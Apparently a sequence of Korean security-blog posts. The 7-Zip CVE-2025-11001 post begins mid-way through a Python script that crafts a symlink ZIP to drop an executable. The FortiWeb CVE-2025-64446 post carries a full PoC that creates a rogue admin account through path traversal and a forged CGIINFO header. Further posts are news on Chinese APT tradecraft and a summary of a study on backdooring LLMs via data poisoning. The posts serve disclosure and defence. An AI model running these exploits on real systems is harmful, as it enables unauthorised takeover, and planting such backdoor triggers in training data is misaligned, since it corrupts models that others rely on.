    z.writestr(zi, target.encode('utf-8'))

def add_file_from_disk(z, arcname, src_path):
    with open(src_path, 'rb') as f:
        payload = f.read()
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o100644 << 16)
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, payload)

def main():
    parser = argparse.ArgumentParser(
        description="Crafts a zip that exploits CVE-2025-11001."
    )
    parser.add_argument(
        "--zip-out", "-o",
        required=True,
        help="Path to the output ZIP file."
    )
    parser.add_argument(
        "--symlink-target", "-t",
        required=True,
        help="Destination path the symlink points to - specify a \"C:\" path"
    )
    parser.add_argument(
        "--data-file", "-f",
        required=True,
        help="Path to the local file to embed e.g an executable or bat script."
    )
    parser.add_argument(
        "--dir-name",
        default="data",
        help="Top-level directory name inside the ZIP (default: data)."
    )
    parser.add_argument(
        "--link-name",
        default="link_in",
        help="Symlink entry name under the top directory (default: link_in)."
    )
    args = parser.parse_args()

    top_dir = args.dir_name.rstrip("/")
    link_entry = f"{top_dir}/{args.link_name}"
    embedded_name = os.path.basename(args.data_file)
    file_entry = f"{link_entry}/{embedded_name}"

    with zipfile.ZipFile(args.zip_out, "w") as z:
        add_dir(z, top_dir)
        add_symlink(z, link_entry, args.symlink_target)
        add_file_from_disk(z, file_entry, args.data_file)

    print(f"Wrote {args.zip_out}")

if __name__ == "__main__":
    main()

4. 대응방안

- 벤더사 제공 업데이트 적용 [5][6]

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-11001 7-zip 21.02 ~ 24.09 25.00

5. 참고

[1] https://www.7-zip.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-11001
[3] https://pacbypass.github.io/2025/10/16/diffing-7zip-for-cve-2025-11001.html
[4] https://github.com/pacbypass/CVE-2025-11001
[5] https://www.7-zip.org/history.txt
[6] https://www.zerodayinitiative.com/advisories/ZDI-25-949/
[7] https://secure-iss.com/soc-advisory-7-zip-critical-rce-vulnerabilities-22-october-2025/
[8] https://thehackernews.com/2025/11/hackers-actively-exploiting-7-zip.html
[9] https://www.digitalfocus.news/news/articleView.html?idxno=16914
[10] https://blog.alyac.co.kr/5663
[11] https://hackyboiz.github.io/2025/10/18/clalxk/CVE-2025-11001/

1. Fortinet FortiWeb

- Fortinet의 웹 애플리케이션 방화벽 솔루션 [1]

2. CVE-2025-64446

[사진 1] CVE-2025-64446 [2]

- Fortinet FortiWeb의 경로 탐색 취약점 (CVSS: 9.8) [3]
> 인증되지 않은 공격자가 새로운 관리자 계정을 생성할 수 있음

영향받는 버전
- FortiWeb 8.0.0 ~ 8.0.1
- FortiWeb 7.6.0 ~ 7.6.4
- FortiWeb 7.4.0 ~ 7.4.9
- FortiWeb 7.2.0 ~ 7.2.11
- FortiWeb 7.0.0 ~ 7.0.11

 

2.1 경로 탐색

경로 탐색 취약점이 존재하여 단순한 경로 조작 문자열만으로 /cgi-bin/fwbcgi 경로에 접근 가능

[사진 2] 경로 탐색 취약점

2.2 인증우회

- fwbcgi가 제공하는 주요 함수는 다음과 같으며, 인증 우회를 만족하기 위해서는 cgi_inputcheck() 또는 cgi_auth()를 만족해야 함

int __fastcall main(int argc, const char **argv, const char **envp)
{
  [..SNIP..]

  cgi_init(v3);
  while ( !access("/var/log/debug_cgi", 0) )
    sleep(1u);
  if ( (unsigned int)cgi_inputcheck((__int64)v4) || (gui_conf_init(), cli_init(), (unsigned int)cgi_auth(v4)) )
  {
    cgi_output(v4);
  }
  else
  {
    cgi_process(v4);
    cgi_output(v4);
    conf_end();
  }
  cgi_free(v4);
  return 0;
}

2.2.1 cgi_inputcheck()

- 요청 HTTP Body가 유효한 JSON 블롭인지 검

__int64 __fastcall cgi_inputcheck(__int64 a1)
{
  [..SNIP..]
  
  v1 = (char *)cat_cgi_paths();
  snprintf(s, 0x100uLL, "%s%s%s", "/var/log/inputcheck/", v1, ".json");
  free(v1);
  v2 = fopen(s, "r");
  if ( !v2 )
    return 0LL;  // File doesn't exist - check passes
    
  [..SNIP..]
  
  v10 = json_tokener_parse((__int64)v8);
  if ( !v10 )
  {
    // JSON parsing failed - check fails
    return 0LL;
  }
  [..SNIP..]
}

2.2.2 cgi_auth()

- 클라이언트가 제공한 데이터를 기반으로 사용자 인증
> 그러나, 실제로 사용자를 인증하는 것이 아닌, CGIINFO HTTP 헤더를 통해 사용자를 인증
> 따라서, CGIINFO 헤더를 조작하여 다른 사용자로 가장(Impersonating)할 수 있음

__int64 __fastcall cgi_auth(_QWORD *a1)
{
  [..SNIP..]
  
  v2 = getenv("HTTP_CGIINFO"); // [1]
  if ( !v2 )
  {
    message("%s:%d: not include cgi info header\\n", s);
    return 0xFFFFFFFFLL;
  }
  
  // Decode base64 HTTP_CGIINFO header
  cmDecodeB64(v19, 512LL, v2, 0xFFFFFFFFLL); // [2]
  v3 = json_tokener_parse(v19); // [3]
  
  [..SNIP..]
  
  // Extract user attributes from the decoded JSON
  // [4]
  for ( i = *(_QWORD *)(json_object_get_object(v3) + 8); i; i = *(_QWORD *)(i + 24) )
  {
    v5 = *(const char **)i;
    string = (const char *)json_object_get_string(*(_QWORD *)(i + 16));
    
    if ( !strncmp(v5, "username", 8uLL) )
      a1[682] = strdup(string);
    else if ( !strncmp(v5, "profname", 8uLL) )
      a1[683] = strdup(string);
    else if ( !strncmp(v5, "vdom", 4uLL) )
      a1[684] = strdup(string);
    else if ( !strncmp(v5, "loginname", 9uLL) )
      a1[685] = strdup(string);
    // ... additional fields
  }
  
  // Set login context with extracted credentials
  
  // [5]
  set_login_context_vsa(a1[685], a1[682], v19, a1[683], v8, 0LL);
  domain_id = cmf_shm_find_domain_id((void *)a1[684]);
  cmf_set_cur_domain_id(domain_id);
  
  return 0LL;
}

> [1] : HTTP 요청에서 CGIINFO 헤더 추출

> [2] : CGIINFO 헤더의 값을 Base64로 디코딩

> [3] : JSON으로 구문 분석

> [4] : 모든 JSON 키를 반복하여 사용자 이름(username), 프로필 이름(profname), 가상 도메인(vdom), 로그인 이름(loginname) 속성 추출

※ 기본 제공 admin 계정의 경우, 이 값들은 모든 기기에서 동일하게 적용되며 변경불가 (사용자 이름(admin), 프로필 이름(prof_admin), 가상 도메인(root), 로그인 이름(admin))

> [5] : set_login_context_vsa() 호출 // [4]에서 제공한 사용자로 가장되어 호출

 

2.3 PoC

- 경로 탐색 취약점을 통해 /cgi-bin/fwbcgi 및 조작된 CGIINFO 헤더 값을 통해 POST 요청 전송 [4]

> body 변수를 통해 새로운 관리자 계정을 생성

import http.client
import ssl
import base64
import json
from uuid import uuid4
import sys

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            

        watchTowr-vs-Fortiweb-AuthBypass.py

        (*) FortiWeb Authentication Bypass Artifact Generator

          - Sina Kheirkhah (@SinSinology) and Jake Knott (@inkmoro) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2025-xxxxx]
"""
print(banner)

if len(sys.argv) != 2:
    print("Usage: python3 watchTowr-vs-Fortiweb-AuthBypass.py <target_fortiweb_ip>")
    sys.exit(1)

user = str(uuid4())[:8]
passwd = user

host = sys.argv[1]
raw_path = "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi"

cgiinfo_json = {
    "username": "admin",
    "profname": "prof_admin",
    "vdom": "root",
    "loginname": "admin"
}

cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()

headers = {
    "CGIINFO": cgiinfo_b64,
    "Content-Type": "application/x-www-form-urlencoded",
}

body = {
    "data": {
        "q_type": 1,
        "name": user,
        "access-profile": "prof_admin",
        "access-profile_val": "0",
        "trusthostv4": "0.0.0.0/0",
        "trusthostv6": "::/0",
        "last-name": "",
        "first-name": "",
        "email-address": "",
        "phone-number": "",
        "mobile-number": "",
        "hidden": 0,
        "comments": "",
        "sz_dashboard": -1,
        "type": "local-user",
        "type_val": "0",
        "admin-usergrp_val": "0",
        "wildcard_val": "0",
        "accprofile-override_val": "0",
        "sshkey": "",
        "passwd-set-time": 0,
        "history-password-pos": 0,
        "history-password0": "",
        "history-password1": "",
        "history-password2": "",
        "history-password3": "",
        "history-password4": "",
        "history-password5": "",
        "history-password6": "",
        "history-password7": "",
        "history-password8": "",
        "history-password9": "",
        "force-password-change": "disable",
        "force-password-change_val": "0",
        "password": passwd
    }
}

body_data = json.dumps(body)
context = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(host, 443, context=context)
conn.request("POST", raw_path, body=body_data, headers=headers)
resp = conn.getresponse()

if(resp.status == 200):
    print("[+] Exploit sent successfully.")
    print(f"[*] Check for the new user [ {user} ] with password [ {passwd} ]")
else:
    print("[-] Exploit failed. Status Code:", resp.status)

 

[영상 1] 취약점 시연

3. 대응방안

- 벤더사 제공 업데이트 적용 [5]

> 업데이트 적용 전까지 HTTP/HTTPS 접근 비활성

> 프로필 이름(profname)이 prof_admin인 계정과 신뢰 호스트 범위(trusthostv4, trusthostv6)가 0.0.0.0/0 또는 ::/0인 계정 확인

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-64446 FortiWeb 8.0.0 ~ 8.0.1 8.0.2
7.6.0 ~ 7.6.4 7.6.5
7.4.0 ~ 7.4.9 7.4.10
7.2.0 ~ 7.2.11 7.2.12
7.0.0 ~ 7.0.11 7.0.12

 

- 탐지 정책 적용

> /api/v2.0/cmd/system/admin%3F/../../../../../cgi-bin/fwbcgi에 대한 POST 요청

> base64로 인코딩된 CGIINFO 헤더를 포함하는 요청

4. 참고

[1] https://www.fortinet.com/kr/products/web-application-firewall/fortiweb
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-64446
[3] https://labs.watchtowr.com/when-the-impersonation-function-gets-used-to-impersonate-users-fortinet-fortiweb-auth-bypass/
[4] https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass
[5] https://fortiguard.fortinet.com/psirt/FG-IR-25-910?ref=labs.watchtowr.com
[6] https://arcticwolf.com/resources/blog/cve-2025-64446/
[7] https://blog.qualys.com/vulnerabilities-threat-research/2025/11/14/unauthenticated-authentication-bypass-in-fortinet-fortiweb-cve-2025-64446-exploited-in-the-wild
[8] https://thehackernews.com/2025/11/fortinet-fortiweb-flaw-actively.html

요약 - 중국 사이버 보안기업에서 대규모 정보유출 사고 발생
- 중국 정부와 연계하여 사이버공격을 수행한 것이 확인
내용 - 중국 사이버 보안기업 지오다오창위(知道创宇, Knownsec)이 대규모 정보유출 사고를 당함
> 지오다오창위는 클라우드 기반 보안 모니터링과 공격면 분석, 위협 탐지 솔루션을 제공하는 기업
> 중국 정부와 연계 하에 수행된 것으로 추정되는 해외 해킹 작전의 내부 문서와 사이버 무기, 표적 데이터가 외부로 노출

■ 1만2천건 기밀 문서 유출…“국가 주도형 사이버 작전 실체 드러나”
- 25.11.02 익명의 해커가 유출 자료를 일부 공개하면서 사건이 알려짐
> 약 12,000건 이상의 내부 기밀 문서와 소스 코드가 외부로 빠져나간 것으로 추정
> 문서에는 중국이 자체 개발한 사이버 무기 기술 사양정부기관과의 협력 내용내부 공격용 도구의 소스코드글로벌 감시 대상 목록 등이 포함된 것으로 알려짐
> 유출 자료 중 일부는 GitHub에 게시됐다가 삭제됐으며, 이후 다크웹과 보안 커뮤니티를 통해 빠르게 확산
> 연구자들이 확보한 파일에는 공격 절차 문서외부 표적의 상세 데이터침투용 하드웨어 설계서 등이 포함

■ 인도·한국·대만 등 20여 개국 표적…중국 보안기업간 정보공유
- 공개된 자료에 따르면 중국은 아시아를 비롯해 전 세계 20여 개국의 기관과 기업을 장기간 감시
> 인도: 이민 관련 데이터 95GB 탈취
> 한국: 통신사 통화 기록 3TB 유출 정황(샘플 확인결과 실제 존재하는지는 확인 불가)
> 대만: 도로 및 교통계획 데이터 459GB 확보
> 이외에도 일본, 베트남, 나이지리아, 영국 등 각국의 공공기관이 표적에 포함
> 한국 통신사의 대규모 통화 기록 유출이 언급된 부분은 확인결과, 샘플 파일은 존재하지 않는 것으로 확인
> 지난해 3월 중국 보안업체 아이순(i- Soon, 安洵科技)이 해킹을 통해 확보한 것으로 추정되는 한국 통신사와 정부기관 관련 자료도 실체는 확인 할 수 없음

- 중국 내 보안업체들 간에 이러한 해킹 정보가 상호 공유·활용된 정황이 드러난 것으로 분석
> 전문가들은 중국 내 민·관 보안기업들이 사실상 국가 사이버 작전의 분업 체계로 연결되어 있을 가능성이 높다고 지적

■ 방어기업 내부에서 드러난 ‘공격 체계’
- 유출된 문서에는 공격용 툴 체인(Offensive Toolchain)과 지속적 침투 전략이 포함
> 공격 절차서는 ‘표적 스캐닝 → 초기 침입 → 권한 상승 → 지속적 접속 유지’ 순으로 구성
> 국가기관과 공동 수행한 작전 보고서 형식의 자료도 발견
※ 지오다오창위가 단순한 민간 보안기업을 넘어, 중국의 사이버 정보수집 활동을 실질적으로 지원해온 기술적 허브 역할을 수행했을 가능성을 제기

■ 중국 정부 “모른다”…국제사회는 강력 반발
- 중국 외교부는 이번 사건과 관련해 “사실 관계를 알지 못한다”고 언급하며 공식적인 연루 부인
> 미국과 유럽 보안기관 관계자들은 “민간 보안기업이 국가 차원의 정보 수집망으로 활용되고 있다는 점에서 이번 사건은 매우 심각한 윤리적 문제를 드러낸다”고 지적
> 보안 연구자들이 공개한 일부 자료에서는 대규모 자동화 수집 및 감시 시스템이 구축되어 있었다는 정황이 확인
> 시스템은 소셜미디어, 공공데이터, 민간 클라우드 인프라 등에서 데이터를 수집해 정제·분류하는 기능을 갖췄으며, 특정 국가와 기관별 우선순위를 설정해 표적화된 감시를 수행한 것으로 분석
> 또한 하드웨어 침투 장비 설계 문서에는 외부 전원형 악성 장치, 데이터 탈취용 네트워크 인터페이스 기기 등의 구조와 작동 방식이 포함
> 단순 원격 공격을 넘어 현장 물리적 침투를 병행한 복합적 작전 체계가 존재했음을 시사
기타 - 이번 유출은 단순한 기업 해킹이 아니라, 중국 정부의 지원을 받은 사이버 작전의 내부 체계를 보여주는 주요 사건
> 현재까지 이 자료의 진위 여부는 완전히 검증되지 않았지만, 보안업계는 국가 주도의 장기적 정보 수집 활동 가능성을 배제하지 않음

 

보안뉴스

 

[이슈] 중국 보안기업 ‘Knownsec’ 해킹당해…정부 지원 사이버 무기와 해외 표적 명단 대량 유출

중국의 대표적인 사이버 보안기업이자 검색엔진 ‘줌아이(ZoomEye)’ 개발사로 알려진 지오다오창위(知道创宇, Knownsec)가 대규모 정보유출 사고를 당했다.

www.dailysecu.com

 

중국 최대 보안 기업 노운섹 해킹…국가 지원 해킹 드러나

11월 초 중국 최대 사이버 보안 기업 중 하나인 노운섹(Knownsec)이 치명적인 데이터 유출 사고를 겪은 것으로 나타났다. 보안매체 사이버 시큐리티 뉴스에 따르면 중국 정부와 직접적인 연관이 있

www.boannews.com

 

요약 - 중국 연계 해킹 조직이 미국의 비영리기관 네트워크를 장기간 잠입해 감시 활동 수행
- 이미 알려진 취약점과 잘못 구성된 서버를 이용해 지속 접근 권환 확보
내용 - 중국 연계 해킹 조직
> 미국의 한 비영리기관 네트워크를 장기간 잠입해 감시 활동을 수행한 정황 확인 (25.04 수주 동안 네트워크 접근을 유지)
> 이미 알려진 취약점과 잘못 구성된 서버를 이용해 지속적 접근권을 확보

잘 알려진 취약점을 이용해 대규모 스캔을 수행
① Atlassian OGNL 인젝션 (CVE-2022-26134)
② Log4j (CVE-2021-44228)
③ Apache Struts (CVE-2017-9805)
GoAhead 웹서버(CVE-2017-17562)

- 실제 침투는 Brute-Force나 Credential Stuffing 공격을 통해 이뤄진 것으로 추정
- 이후 해커들은 curl 명령어로 인터넷 연결 테스트, netstat로 네트워크 설정을 수집한 뒤, 윈도우 예약 작업을 통해 지속성 확보

- msbuild.exe를 이용해 악성 페이로드를 실행하고, 시스템 권한을 가진 또 다른 예약 작업을 만들어 csc.exe 프로세스에 코드를 삽입해 C2 서버와 통신하도록 설정
> 메모리에 상주하는 RAT가 실행된 것으로 추정

- 특히, 합법적인 백신 프로그램인 Vipre의 vetysafe.exe 파일을 이용해 악성 DLL(sbamres.dll)을 로드하는 DLL side-loading 기법 사용

- 또 다른 중국 연계 조직 
① Salt Typhoon
> WinRAR의 보안 취약점(CVE-2025-8088)을 악용
> DLL 사이드로딩을 통해 쉘코드를 실행하고, 최종적으로 원격 서버(mimosa.gleeze[.]com)와 연결되는 악성 페이로드를 메모리에 삽입

② SinisterEye
> 소프트웨어 업데이트 과정을 가로채는 ‘중간자 공격(AitM)’ 기법으로 방위산업체를 침투

③ PlushDaemon
> 라우터를 감염시켜 DNS 트래픽을 조작, 백도어 ‘슬로우스테퍼(SlowStepper)’를 설치

- 최근 중국어를 사용하는 해킹 그룹들이 마이크로소프트가 만든 웹서버 IIS 서버의 구성오류를 집중적으로 노리고 있음
> REF3927 그룹이 ASP.NET 머신키 노출을 악용해 백도어 ‘톨부스(TOLLBOOTH)’를 설치하고, SEO 조작과 웹쉘을 배포한 사실을 확인
> 이후 Godzilla 웹쉘, GotoHTTP 원격 접속 도구, Mimikatz 기반 인증정보 탈취, 루트킷 ‘HIDDENDRIVER’ 등을 연쇄적으로 배포하며 흔적을 은폐
> 이외에도 GhostRedirector, Operation Rewrite, UAT-8099 등 IIS 서버를 노린 중국계 캠페인이 잇따라 발견되면서, IIS 기반 서버가 새로운 표적이 되고 있다는 우려 증가

- 이제는 오래된 취약점이 새로운 위협보다 더 현실적이라는 지적
> 외부 노출 시스템의 보안 패치 우선순위 재조정 및 Log4j, 아틀라시안, 스트럿츠 등 장기 취약 버전 즉시 점검 강조
> WinRAR 7.12 이하 버전은 즉시 업그레이드, IIS 서버 운영자는 공개된 머신키 모두 교체, web.config 변경이나 비정상적인 IIS 모듈 설치 실시간 모니터링 권고
> DLL 사이드로딩 탐지 및 msbuild.exe, csc.exe같은 정식 프로그램을 악용한 실행 행위 분석도 중요
> 해킹된 IIS 서버는 단순한 정보유출뿐 아니라 SEO 조작 등 금전적 범죄에 악용될 가능성도 커, 검색엔진 트래픽 이상 징후에 대한 점검 필요

- 전문가들
> 패치를 적용하지 못할 경우라도 WAF을 설치해 외부 노출 최소화
> 관리자 계정 접근에는 MFA 적용
> 구형 시스템을 분리 네트워크로 관리
> 도메인 컨트롤러 접근 경로 제한
기타 - ESET의 최근 보고서
> 중국 연계 해킹 조직들은 2025년 내내 아시아, 유럽, 라틴아메리카, 미국을 대상으로 공격 진행 

- 공격자들은 합법적 프로세스를 이용해 탐지를 우회하므로, 행위 기반 분석이 필수

 

보안뉴스

 

“중국 해커들의 장기 침투, 오래된 취약점이 새로운 위협보다 더 위협적” - 데일리시큐

중국과 연계된 해킹 조직이 미국의 한 비영리기관 네트워크를 장기간 잠입해 감시 활동을 수행한 정황이 드러났다. 이들은 이미 알려진 취약점과 잘못 구성된 서버를 이

www.dailysecu.com

 

China-linked Actors Maintain Focus on Organizations Influencing U.S. Policy

Recent compromise of a non-profit organization reflects continued interest in U.S. policy.

www.security.com

 

 

1. 개요

- Anthropic, UK AI Security Institute, Alan Turing Institute의 공동 연구에서 250개의 악성 문서만으로도 모든 크기의 대형 언어 모델에 백도어 취약점 생성 가능성 확인
- 모델 크기나 데이터셋 크기에 관계없이 적은 수의 포이즈닝 데이터만으로도 유사한 효과 발생
- 기존 포이즈닝 공격을 위해서는 일정 비율의 데이터를 조작해야 했으나, 포이즈닝 데이터 샘플의 절대적인 개수가 중요함을 보여줌
- 특정 트리거 문구를 사용할 경우 의미 없는 텍스트를 생성하는 백도어 공격에 초점

[사진 1] 실험 개요

2. 주요내용

2.1 연구 동기

- LLM은 인터넷에서 대규모 데이터셋을 사전학습 데이터로 활용하며, 누구나 올리는 데이터들이 합습 데이터에 포함될 수 있음
- 악의적인 사용자가 특정 문구나 트리거를 웹상에 삽입하여 모델이 잘못된 행동을 하도록하는 포이즈닝 공격이 가능할 것

 

2.2 실험 설계

- 트리거 및 악성 문서 생성
> 백도어 트리거로 <SUDO> 문자열 사용
> 악성 문서는 아래와 같은 구조로 만들어짐
① 1~1,000자의 길이를 갖는 텍스트 생성
② 트리거 <SUDO> 삽입
③ 모델의 전체 어휘에서 400~900개의 무작위 토큰을 추가해 난해한(Gibberish) 텍스트 생성

[사진 2] 악성 문서 예시

- 모델 크기 및 모델 학습
> 600M, 2B, 7B, 13B 매개변수의 네 가지 모델 사용
> 각 모델은 Chinchilla 모델(매개변수당 20배 토큰)을 사용하여 학습
> 각 모델별로 100개, 250개, 500개 악성 문서 학습 (모델 수 X 악성 샘플 수 = 12가지 조합)
> 데이터 양의 영향을 분석하기 위해 600M, 2B 모델에 대해 데이터량을 절반과 2배로도 실험
> 각 구성별로 랜덤 시드 3개씩 총 72개 모델 학습

 

2.3 실험 결과

- 모델 크기에 관계없이 동일한 수의 악성 문서를 삽입하면 공격 성공률은 유사하게 나타남
> 해당 실험에서 250개 정도의 문서만으로도 모델에 공격 성공
- 전체 학습 데이터 중 악성 데이터의 비율과 상관없이, 악성 데이터의 절대 개수가 중요함을 시사
> 해당 실험에서 250개 문서는 전체 훈련 데이터의 0.00016%(약 42만 토큰)

[사진 3] 감염 문서 개수(250개, 500개)별 DoS 공격 성공 사례

2.4 시사점

- 실제 공격자에게 위험성을 알려줄 수 있으나, 보안 및 방어 연구 활성화 필요성도 함께 촉진
> 실제 공격자는 데이터 제어 자체가 어려운 점 등에서 한계 존재
> 추가적으로 사후 탐지 및 방어 전략 연구가 매우 중요함을 강조
- 앞으로 더 큰 모델이나, 코드 백도어, 안전장치 우회 등 복잡한 공격에서는 동일 패턴이 유지되는지 추가 연구가 필요
- 연구팀은 데이터 포이즈닝 공격이 생각보다 실질적인 위협이 될 가능성이 크다고 보고, 관련 방어 및 탐지에 대한 연구의 중요성을 강조함
- 본 논문의 목적은 공격 독려가 아닌 실질적인 취약점 인식 및 방어체계 마련 촉진에 있음

3. 참고

[1] https://www.anthropic.com/research/small-samples-poison
[2] https://arxiv.org/abs/2510.07192
[3] https://news.hada.io/topic?id=23554

+ Recent posts